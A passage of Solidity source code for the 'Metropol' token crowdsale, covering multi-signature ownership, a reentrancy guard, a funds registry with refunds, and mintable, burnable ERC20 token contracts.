{ require(isOwner(msg.sender)); _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) { _; } // Even if required number of confirmations has't been collected yet, // we can't throw here - because changes to the state have to be preserved. // But, confirmAndCheck itself will throw in case sender is not an owner. } modifier validNumOwners(uint _numOwners) { require(_numOwners > 0 && _numOwners <= c_maxOwners); _; } modifier multiOwnedValidRequirement(uint _required, uint _numOwners) { require(_required > 0 && _required <= _numOwners); _; } modifier ownerExists(address _address) { require(isOwner(_address)); _; } modifier ownerDoesNotExist(address _address) { require(!isOwner(_address)); _; } modifier multiOwnedOperationIsActive(bytes32 _operation) { require(isOperationActive(_operation)); _; } // METHODS // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!). function multiowned(address[] _owners, uint _required) validNumOwners(_owners.length) multiOwnedValidRequirement(_required, _owners.length) { assert(c_maxOwners <= 255); m_numOwners = _owners.length; m_multiOwnedRequired = _required; for (uint i = 0; i < _owners.length; ++i) { address owner = _owners[i]; // invalid and duplicate addresses are not allowed require(0 != owner && !isOwner(owner) /* not isOwner yet! */); uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */); m_owners[currentOwnerIndex] = owner; m_ownerIndex[owner] = currentOwnerIndex; } assertOwnersAreConsistent(); } /// @notice replaces an owner `_from` with another `_to`. /// @param _from address of owner to replace /// @param _to address of new owner // All pending operations will be canceled! function changeOwner(address _from, address _to) external ownerExists(_from) ownerDoesNotExist(_to) onlymanyowners(sha3(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]); m_owners[ownerIndex] = _to; m_ownerIndex[_from] = 0; m_ownerIndex[_to] = ownerIndex; assertOwnersAreConsistent(); OwnerChanged(_from, _to); } /// @notice adds an owner /// @param _owner address of new owner // All pending operations will be canceled! function addOwner(address _owner) external ownerDoesNotExist(_owner) validNumOwners(m_numOwners + 1) onlymanyowners(sha3(msg.data)) { assertOwnersAreConsistent(); clearPending(); m_numOwners++; m_owners[m_numOwners] = _owner; m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners); assertOwnersAreConsistent(); OwnerAdded(_owner); } /// @notice removes an owner /// @param _owner address of owner to remove // All pending operations will be canceled! function removeOwner(address _owner) external ownerExists(_owner) validNumOwners(m_numOwners - 1) multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1) onlymanyowners(sha3(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]); m_owners[ownerIndex] = 0; m_ownerIndex[_owner] = 0; //make sure m_numOwners is equal to the number of owners and always points to the last owner reorganizeOwners(); assertOwnersAreConsistent(); OwnerRemoved(_owner); } /// @notice changes the required number of owner signatures /// @param _newRequired new number of signatures required // All pending operations will be canceled! function changeRequirement(uint _newRequired) external multiOwnedValidRequirement(_newRequired, m_numOwners) onlymanyowners(sha3(msg.data)) { m_multiOwnedRequired = _newRequired; clearPending(); RequirementChanged(_newRequired); } /// @notice Gets an owner by 0-indexed position /// @param ownerIndex 0-indexed owner position function getOwner(uint ownerIndex) public constant returns (address) { return m_owners[ownerIndex + 1]; } /// @notice Gets owners /// @return memory array of owners function getOwners() public constant returns (address[]) { address[] memory result = new address[](m_numOwners); for (uint i = 0; i < m_numOwners; i++) result[i] = getOwner(i); return result; } /// @notice checks if provided address is an owner address /// @param _addr address to check /// @return true if it's an owner function isOwner(address _addr) public constant returns (bool) { return m_ownerIndex[_addr] > 0; } /// @notice Tests ownership of the current caller. /// @return true if it's an owner // It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to // addOwner/changeOwner and to isOwner. function amIOwner() external constant onlyowner returns (bool) { return true; } /// @notice Revokes a prior confirmation of the given operation /// @param _operation operation value, typically sha3(msg.data) function revoke(bytes32 _operation) external multiOwnedOperationIsActive(_operation) onlyowner { uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); var pending = m_multiOwnedPending[_operation]; require(pending.ownersDone & ownerIndexBit > 0); assertOperationIsConsistent(_operation); pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; assertOperationIsConsistent(_operation); Revoke(msg.sender, _operation); } /// @notice Checks if owner confirmed given operation /// @param _operation operation value, typically sha3(msg.data) /// @param _owner an owner address function hasConfirmed(bytes32 _operation, address _owner) external constant multiOwnedOperationIsActive(_operation) ownerExists(_owner) returns (bool) { return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0); } // INTERNAL METHODS function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) { if (512 == m_multiOwnedPendingIndex.length) // In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point // we won't be able to do it because of block gas limit. // Yes, pending confirmations will be lost. Dont see any security or stability implications. // TODO use more graceful approach like compact or removal of clearPending completely clearPending(); var pending = m_multiOwnedPending[_operation]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (! isOperationActive(_operation)) { // reset count of confirmations needed. pending.yetNeeded = m_multiOwnedRequired; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; pending.index = m_multiOwnedPendingIndex.length++; m_multiOwnedPendingIndex[pending.index] = _operation; assertOperationIsConsistent(_operation); } // determine the bit to set for this owner. uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { // ok - check if count is enough to go ahead. assert(pending.yetNeeded > 0); if (pending.yetNeeded == 1) { // enough confirmations: reset and run interior. delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index]; delete m_multiOwnedPending[_operation]; FinalConfirmation(msg.sender, _operation); return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; assertOperationIsConsistent(_operation); Confirmation(msg.sender, _operation); } } } // Reclaims free slots between valid owners in m_owners. // TODO given that its called after each removal, it could be simplified. function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { // iterating to the first free slot from the beginning while (free < m_numOwners && m_owners[free] != 0) free++; // iterating to the first occupied slot from the end while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; // swap, if possible, so free slot is located at the end after the swap if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { // owners between swapped slots should't be renumbered - that saves a lot of gas m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() private onlyowner { uint length = m_multiOwnedPendingIndex.length; // TODO block gas limit for (uint i = 0; i < length; ++i) { if (m_multiOwnedPendingIndex[i] != 0) delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]]; } delete m_multiOwnedPendingIndex; } function checkOwnerIndex(uint ownerIndex) private constant returns (uint) { assert(0 != ownerIndex && ownerIndex <= c_maxOwners); return ownerIndex; } function makeOwnerBitmapBit(address owner) private constant returns (uint) { uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]); return 2 ** ownerIndex; } function isOperationActive(bytes32 _operation) private constant returns (bool) { return 0 != m_multiOwnedPending[_operation].yetNeeded; } function assertOwnersAreConsistent() private constant { assert(m_numOwners > 0); assert(m_numOwners <= c_maxOwners); assert(m_owners[0] == 0); assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners); } function assertOperationIsConsistent(bytes32 _operation) private constant { var pending = m_multiOwnedPending[_operation]; assert(0 != pending.yetNeeded); assert(m_multiOwnedPendingIndex[pending.index] == _operation); assert(pending.yetNeeded <= m_multiOwnedRequired); } // FIELDS uint constant c_maxOwners = 250; // the number of owners that must confirm the same operation before it is run. uint public m_multiOwnedRequired; // pointer used to find a free slot in m_owners uint public m_numOwners; // list of owners (addresses), // slot 0 is unused so there are no owner which index is 0. // TODO could we save space at the end of the array for the common case of <10 owners? and should we? address[256] internal m_owners; // index on the list of owners to allow reverse lookup: owner address => index in m_owners mapping(address => uint) internal m_ownerIndex; // the ongoing operations. mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending; bytes32[] internal m_multiOwnedPendingIndex; } /** * @title Helps contracts guard agains rentrancy attacks. * @author Remco Bloemen <remco@2π.com> * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!rentrancy_lock); rentrancy_lock = true; _; rentrancy_lock = false; } } /** * @title Contract which is owned by owners and operated by controller. * * @notice Provides a way to set up an entity (typically other contract) entitled to control actions of this contract. * Controller is set up by owners or during construction. * * @dev controller check is performed by onlyController modifier. */ contract MultiownedControlled is multiowned { event ControllerSet(address controller); event ControllerRetired(address was); modifier onlyController { require(msg.sender == m_controller); _; } // PUBLIC interface function MultiownedControlled(address[] _owners, uint _signaturesRequired, address _controller) multiowned(_owners, _signaturesRequired) { m_controller = _controller; ControllerSet(m_controller); } /// @dev sets the controller function setController(address _controller) external onlymanyowners(sha3(msg.data)) { m_controller = _controller; ControllerSet(m_controller); } /// @dev ability for controller to step down function detachController() external onlyController { address was = m_controller; m_controller = address(0); ControllerRetired(was); } // FIELDS /// @notice address of entity entitled to mint new tokens address public m_controller; } /// @title utility methods and modifiers of arguments validation contract ArgumentsChecker { /// @dev check which prevents short address attack modifier payloadSizeIs(uint size) { require(msg.data.length == size + 4 /* function selector */); _; } /// @dev check that address is valid modifier validAddress(address addr) { require(addr != address(0)); _; } } /// @title registry of funds sent by investors contract FundsRegistry is ArgumentsChecker, MultiownedControlled, ReentrancyGuard { using SafeMath for uint256; enum State { // gathering funds GATHERING, // returning funds to investors REFUNDING, // funds can be pulled by owners SUCCEEDED } event StateChanged(State _state); event Invested(address indexed investor, uint256 amount); event EtherSent(address indexed to, uint value); event RefundSent(address indexed to, uint value); modifier requiresState(State _state) { require(m_state == _state); _; } // PUBLIC interface function FundsRegistry(address[] _owners, uint _signaturesRequired, address _controller) MultiownedControlled(_owners, _signaturesRequired, _controller) { } /// @dev performs only allowed state transitions function changeState(State _newState) external onlyController { assert(m_state != _newState); if (State.GATHERING == m_state) { assert(State.REFUNDING == _newState || State.SUCCEEDED == _newState); } else assert(false); m_state = _newState; StateChanged(m_state); } /// @dev records an investment function invested(address _investor) external payable onlyController requiresState(State.GATHERING) { uint256 amount = msg.value; require(0 != amount); assert(_investor != m_controller); // register investor if (0 == m_weiBalances[_investor]) m_investors.push(_investor); // register payment totalInvested = totalInvested.add(amount); m_weiBalances[_investor] = m_weiBalances[_investor].add(amount); Invested(_investor, amount); } /// @notice owners: send `value` of ether to address `to`, can be called if crowdsale succeeded /// @param to where to send ether /// @param value amount of wei to send function sendEther(address to, uint value) external validAddress(to) onlymanyowners(sha3(msg.data)) requiresState(State.SUCCEEDED) { require(value > 0 && this.balance >= value); to.transfer(value); EtherSent(to, value); } /// @notice withdraw accumulated balance, called by payee in case crowdsale failed function withdrawPayments(address payee) external nonReentrant onlyController requiresState(State.REFUNDING) { uint256 payment = m_weiBalances[payee]; require(payment != 0); require(this.balance >= payment); totalInvested = totalInvested.sub(payment); m_weiBalances[payee] = 0; payee.transfer(payment); RefundSent(payee, payment); } function getInvestorsCount() external constant returns (uint) { return m_investors.length; } // FIELDS /// @notice total amount of investments in wei uint256 public totalInvested; /// @notice state of the registry State public m_state = State.GATHERING; /// @dev balances of investors in wei mapping(address => uint256) public m_weiBalances; /// @dev list of unique investors address[] public m_investors; } ///123 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /// @title StandardToken which can be minted by another contract. contract MintableToken { event Mint(address indexed to, uint256 amount); /// @dev mints new tokens function mint(address _to, uint256 _amount) public; } /** * MetropolMintableToken */ contract MetropolMintableToken is StandardToken, MintableToken { event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) public;//todo propose return value /** * Function to mint tokens * Internal for not forgetting to add access modifier * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * * @return A boolean that indicates if the operation was successful. */ function mintInternal(address _to, uint256 _amount) internal returns (bool) { require(_amount>0); require(_to!=address(0)); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } /** * Contract which is operated by controller. * * Provides a way to set up an entity (typically other contract) entitled to control actions of this contract. * * Controller check is performed by onlyController modifier. */ contract Controlled { address public m_controller; event ControllerSet(address controller); event ControllerRetired(address was); modifier onlyController { require(msg.sender == m_controller); _; } function setController(address _controller) external; /** * Sets the controller. Internal for not forgetting to add access modifier */ function setControllerInternal(address _controller) internal { m_controller = _controller; ControllerSet(m_controller); } /** * Ability for controller to step down */ function detachController() external onlyController { address was = m_controller; m_controller = address(0); ControllerRetired(was); } } /** * MintableControlledToken */ contract MintableControlledToken is MetropolMintableToken, Controlled { /** * Function to mint tokens * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyController { super.mintInternal(_to, _amount); } } /** * BurnableToken */ contract BurnableToken is StandardToken { event Burn(address indexed from, uint256 amount); function burn(address _from, uint256 _amount) public returns (bool); /** * Function to burn tokens * Internal for not forgetting to add access modifier * * @param _from The address to burn tokens from. * @param _amount The amount of tokens to burn. * * @return A boolean that indicates if the operation was successful. */ function burnInternal(address _from, uint256 _amount) internal returns (bool) { require(_amount>0); require(_amount<=balances[_from]); totalSupply = totalSupply.sub(_amount); balances[_from] = balances[_from].sub(_amount); Burn(_from, _amount); Transfer(_from, address(0), _amount); return true; } } /** * BurnableControlledToken */ contract BurnableControlledToken is BurnableToken, Controlled { /** * Function to burn tokens * * @param _from The address to burn tokens from. * @param _amount The amount of tokens to burn. * * @return A boolean that indicates if the operation was successful. */ function burn(address _from, uint256 _amount) public onlyController returns (bool) { return super.burnInternal(_from, _amount); } } /** * Contract which is owned by owners and operated by controller. * * Provides a way to set up an entity (typically other contract) entitled to control actions of this contract. * Controller is set up by owners or during construction. * */ contract MetropolMultiownedControlled is Controlled, multiowned { function MetropolMultiownedControlled(address[] _owners, uint256 _signaturesRequired) multiowned(_owners, _signaturesRequired) public { // nothing here } /** * Sets the controller */ function setController(address _controller) external onlymanyowners(sha3(msg.data)) { super.setControllerInternal(_controller); } } /// @title StandardToken which circulation can be delayed and started by another contract. /// @dev To be used as a mixin contract. /// The contract is created in disabled state: circulation is disabled. contract CirculatingToken is StandardToken { event CirculationEnabled(); modifier requiresCirculation { require(m_isCirculating); _; } // PUBLIC interface function transfer(address _to, uint256 _value) requiresCirculation returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) requiresCirculation returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) requiresCirculation returns (bool) { return super.approve(_spender, _value); } // INTERNAL functions function enableCirculation() internal returns (bool) { if (m_isCirculating) return false; m_isCirculating = true; CirculationEnabled(); return true; } // FIELDS /// @notice are the circulation started? bool public m_isCirculating; } /** * CirculatingControlledToken */ contract CirculatingControlledToken is CirculatingToken, Controlled { /** * Allows token transfers */ function startCirculation() external onlyController { assert(enableCirculation()); // must be called once } } /** * MetropolToken */ contract MetropolToken is StandardToken, Controlled, MintableControlledToken, BurnableControlledToken, CirculatingControlledToken, MetropolMultiownedControlled { string internal m_name = ''; string internal m_symbol = ''; uint8 public constant decimals = 18; /** * MetropolToken constructor */ function MetropolToken(address[] _owners) MetropolMultiownedControlled(_owners, 2) public { require(3 == _owners.length); } function name() public constant returns (string) { return m_name; } function symbol() public constant returns (string) { return m_symbol; } function setNameSymbol(string _name, string _symbol) external onlymanyowners(sha3(msg.data)) { require(bytes(m_name).length==0); require(bytes(_name).length!=0 && bytes(_symbol).length!=0); m_name = _name; m_symbol = _symbol; } } /////////123 /** * @title Basic crowdsale stat * @author Eenae */ contract ICrowdsaleStat { /// @notice amount of funds collected in wei function getWeiCollected() public constant returns (uint); /// @notice amount of tokens minted (NOT equal to totalSupply() in case token is reused!) function getTokenMinted() public constant returns (uint); } /** * @title Interface for code which processes and stores investments. * @author Eenae */ contract IInvestmentsWalletConnector { /// @dev process and forward investment function storeInvestment(address investor, uint payment) internal; /// @dev total investments amount stored using storeInvestment() function getTotalInvestmentsStored() internal constant returns (uint); /// @dev called in case crowdsale succeeded function wcOnCrowdsaleSuccess() internal; /// @dev called in case crowdsale failed function wcOnCrowdsaleFailure() internal; } /// @title Base contract for simple crowdsales contract SimpleCrowdsaleBase is ArgumentsChecker, ReentrancyGuard, IInvestmentsWalletConnector, ICrowdsaleStat { using SafeMath for uint256; event FundTransfer(address backer, uint amount, bool isContribution); function SimpleCrowdsaleBase(address token) validAddress(token) { m_token = MintableToken(token); } // PUBLIC interface: payments // fallback function as a shortcut function() payable { require(0 == msg.data.length); buy(); // only internal call here! } /// @notice crowdsale participation function buy() public payable { // dont mark as external! buyInternal(msg.sender, msg.value, 0); } // INTERNAL /// @dev payment processing function buyInternal(address investor, uint payment, uint extraBonuses) internal nonReentrant { require(payment >= getMinInvestment()); require(getCurrentTime() >= getStartTime() || ! mustApplyTimeCheck(investor, payment) /* for final check */); if (getCurrentTime() >= getEndTime()) { finish(); } if (m_finished) { // saving provided gas investor.transfer(payment); return; } uint startingWeiCollected = getWeiCollected(); uint startingInvariant = this.balance.add(startingWeiCollected); uint change; if (hasHardCap()) { // return or update payment if needed uint paymentAllowed = getMaximumFunds().sub(getWeiCollected()); assert(0 != paymentAllowed); if (paymentAllowed < payment) { change = payment.sub(paymentAllowed); payment = paymentAllowed; } } // issue tokens uint tokens = calculateTokens(investor, payment, extraBonuses); m_token.mint(investor, tokens); m_tokensMinted += tokens; // record payment storeInvestment(investor, payment); assert((!hasHardCap() || getWeiCollected() <= getMaximumFunds()) && getWeiCollected() > startingWeiCollected); FundTransfer(investor, payment, true); if (hasHardCap() && getWeiCollected() == getMaximumFunds()) finish(); if (change > 0) investor.transfer(change); assert(startingInvariant == this.balance.add(getWeiCollected()).add(change)); } function finish() internal { if (m_finished) return; if (getWeiCollected() >= getMinimumFunds()) wcOnCrowdsaleSuccess(); else wcOnCrowdsaleFailure(); m_finished = true; } // Other pluggables /// @dev says if crowdsale time bounds must be checked function mustApplyTimeCheck(address /*investor*/, uint /*payment*/) constant internal returns (bool) { return true; } /// @notice whether to apply hard cap check logic via getMaximumFunds() method function hasHardCap() constant internal returns (bool) { return getMaximumFunds() != 0; } /// @dev to be overridden in tests function getCurrentTime() internal constant returns (uint) { return now; } /// @notice maximum investments to be accepted during pre-ICO function getMaximumFunds() internal constant returns (uint); /// @notice minimum amount of funding to consider crowdsale as successful function getMinimumFunds() internal constant returns (uint); /// @notice start time of the pre-ICO function getStartTime() internal constant returns (uint); /// @notice end time of the pre-ICO function getEndTime() internal constant returns (uint); /// @notice minimal amount of investment function getMinInvestment() public constant returns (uint) { return 10 finney; } /// @dev calculates token amount for given investment function calculateTokens(address investor, uint payment, uint extraBonuses) internal constant returns (uint); // ICrowdsaleStat function getWeiCollected() public constant returns (uint) { return getTotalInvestmentsStored(); } /// @notice amount of tokens minted (NOT equal to totalSupply() in case token is reused!) function getTokenMinted() public constant returns (uint) { return m_tokensMinted; } // FIELDS /// @dev contract responsible for token accounting MintableToken public m_token; uint m_tokensMinted; bool m_finished = false; } /// @title Stateful mixin add state to contact and handlers for it contract SimpleStateful { enum State { INIT, RUNNING, PAUSED, FAILED, SUCCEEDED } event StateChanged(State _state); modifier requiresState(State _state) { require(m_state == _state); _; } modifier exceptState(State _state) { require(m_state != _state); _; } function changeState(State _newState) internal { assert(m_state != _newState); if (State.INIT == m_state) { assert(State.RUNNING == _newState); } else if (State.RUNNING == m_state) { assert(State.PAUSED == _newState || State.FAILED == _newState || State.SUCCEEDED == _newState); } else if (State.PAUSED == m_state) { assert(State.RUNNING == _newState || State.FAILED == _newState); } else assert(false); m_state = _newState; StateChanged(m_state); } function getCurrentState() internal view returns(State) { return m_state; } /// @dev state of sale State public m_state = State.INIT; } /** * Stores investments in FundsRegistry. */ contract MetropolFundsRegistryWalletConnector is IInvestmentsWalletConnector { function MetropolFundsRegistryWalletConnector(address _fundsAddress) public { require(_fundsAddress!=address(0)); m_fundsAddress = FundsRegistry(_fundsAddress); } /// @dev process and forward investment function storeInvestment(address investor, uint payment) internal { m_fundsAddress.invested.value(payment)(investor); } /// @dev total investments amount stored using storeInvestment() function getTotalInvestmentsStored() internal constant returns (uint) { return m_fundsAddress.totalInvested(); } /// @dev called in case crowdsale succeeded function wcOnCrowdsaleSuccess() internal { m_fundsAddress.changeState(FundsRegistry.State.SUCCEEDED); m_fundsAddress.detachController(); } /// @dev called in case crowdsale failed function wcOnCrowdsaleFailure() internal { m_fundsAddress.changeState(FundsRegistry.State.REFUNDING); } /// @notice address of wallet which stores funds FundsRegistry public m_fundsAddress; } /** * Crowdsale with state */ contract StatefulReturnableCrowdsale is SimpleCrowdsaleBase, SimpleStateful, multiowned, MetropolFundsRegistryWalletConnector { /** Last recorded funds */ uint256 public m_lastFundsAmount; event Withdraw(address payee, uint amount); /** * Automatic check for unaccounted withdrawals * @param _investor optional refund parameter * @param _payment optional refund parameter */ modifier fundsChecker(address _investor, uint _payment) { uint atTheBeginning = getTotalInvestmentsStored(); if (atTheBeginning < m_lastFundsAmount) { changeState(State.PAUSED); if (_payment > 0) { _investor.transfer(_payment); // we cant throw (have to save state), so refunding this way } // note that execution of further (but not preceding!) modifiers and functions ends here } else { _; if (getTotalInvestmentsStored() < atTheBeginning) { changeState(State.PAUSED); } else { m_lastFundsAmount = getTotalInvestmentsStored(); } } } /** * Triggers some state changes based on current time */ modifier timedStateChange() { if (getCurrentState() == State.INIT && getCurrentTime() >= getStartTime()) { changeState(State.RUNNING); } _; } /** * Constructor */ function StatefulReturnableCrowdsale( address _token, address _funds, address[] _owners, uint _signaturesRequired ) public SimpleCrowdsaleBase(_token) multiowned(_owners, _signaturesRequired) MetropolFundsRegistryWalletConnector(_funds) validAddress(_token) validAddress(_funds) { } function pauseCrowdsale() public onlyowner requiresState(State.RUNNING) { changeState(State.PAUSED); } function continueCrowdsale() public onlymanyowners(sha3(msg.data)) requiresState(State.PAUSED) { changeState(State.RUNNING); if (getCurrentTime() >= getEndTime()) { finish(); } } function failCrowdsale() public onlymanyowners(sha3(msg.data)) requiresState(State.PAUSED) { wcOnCrowdsaleFailure(); m_finished = true; } function withdrawPayments() public nonReentrant requiresState(State.FAILED) { Withdraw(msg.sender, m_fundsAddress.m_weiBalances(msg.sender)); m_fundsAddress.withdrawPayments(msg.sender); } /** * Additional check of contributing process since we have state */ function buyInternal(address _investor, uint _payment, uint _extraBonuses) internal timedStateChange exceptState(State.PAUSED) fundsChecker(_investor, _payment) { if (!mustApplyTimeCheck(_investor, _payment)) { require(State.RUNNING == m_state || State.INIT == m_state); } else { require(State.RUNNING == m_state); } super.buyInternal(_investor, _payment, _extraBonuses); } /// @dev called in case crowdsale succeeded function wcOnCrowdsaleSuccess() internal { super.wcOnCrowdsaleSuccess(); changeState(State.SUCCEEDED); } /// @dev called in case crowdsale failed function wcOnCrowdsaleFailure() internal { super.wcOnCrowdsaleFailure(); changeState(State.FAILED); } } /** * MetropolCrowdsale */ contract MetropolCrowdsale is StatefulReturnableCrowdsale { uint256 public m_startTimestamp; uint256 public m_softCap; uint256 public m_hardCap; uint256 public m_exchangeRate; address public m_foundersTokensStorage; bool public m_initialSettingsSet = false; modifier requireSettingsSet() { require(m_initialSettingsSet); _; } function MetropolCrowdsale(address _token, address _funds, address[] _owners) public StatefulReturnableCrowdsale(_token, _funds, _owners, 2) { require(3 == _owners.length); //2030-01-01, not to start crowdsale m_startTimestamp = 1893456000; } /** * Set exchange rate before start */ function setInitialSettings( address _foundersTokensStorage, uint256 _startTimestamp, uint256 _softCapInEther, uint256 _hardCapInEther, uint256 _tokensForOneEther ) public timedStateChange requiresState(State.INIT) onlymanyowners(sha3(msg.data)) validAddress(_foundersTokensStorage) { //no check for settings set //can be set multiple times before ICO require(_startTimestamp!=0); require(_softCapInEther!=0); require(_hardCapInEther!=0); require(_tokensForOneEther!=0); m_startTimestamp = _startTimestamp; m_softCap = _softCapInEther * 1 ether; m_hardCap = _hardCapInEther * 1 ether; m_exchangeRate = _tokensForOneEther; m_foundersTokensStorage = _foundersTokensStorage; m_initialSettingsSet = true; } /** * Set exchange rate before start */ function setExchangeRate(uint256 _tokensForOneEther) public timedStateChange requiresState(State.INIT) onlymanyowners(sha3(msg.data)) { m_exchangeRate = _tokensForOneEther; } /** * withdraw payments by investor on fail */ function withdrawPayments() public requireSettingsSet { getToken().burn( msg.sender, getToken().balanceOf(msg.sender) ); super.withdrawPayments(); } // INTERNAL /** * Additional check of initial settings set */ function buyInternal(address _investor, uint _payment, uint _extraBonuses) internal requireSettingsSet { super.buyInternal(_investor, _payment, _extraBonuses); } /** * All users except deployer must check time before contributing */ function mustApplyTimeCheck(address investor, uint payment) constant internal returns (bool) { return !isOwner(investor); } /** * For min investment check */ function getMinInvestment() public constant returns (uint) { return 1 wei; } /** * Get collected funds (internally from FundsRegistry) */ function getWeiCollected() public constant returns (uint) { return getTotalInvestmentsStored(); } /** * Minimum amount of funding to consider crowdsale as successful */ function getMinimumFunds() internal constant returns (uint) { return m_softCap; } /** * Maximum investments to be accepted during crowdsale */ function getMaximumFunds() internal constant returns (uint) { return m_hardCap; } /** * 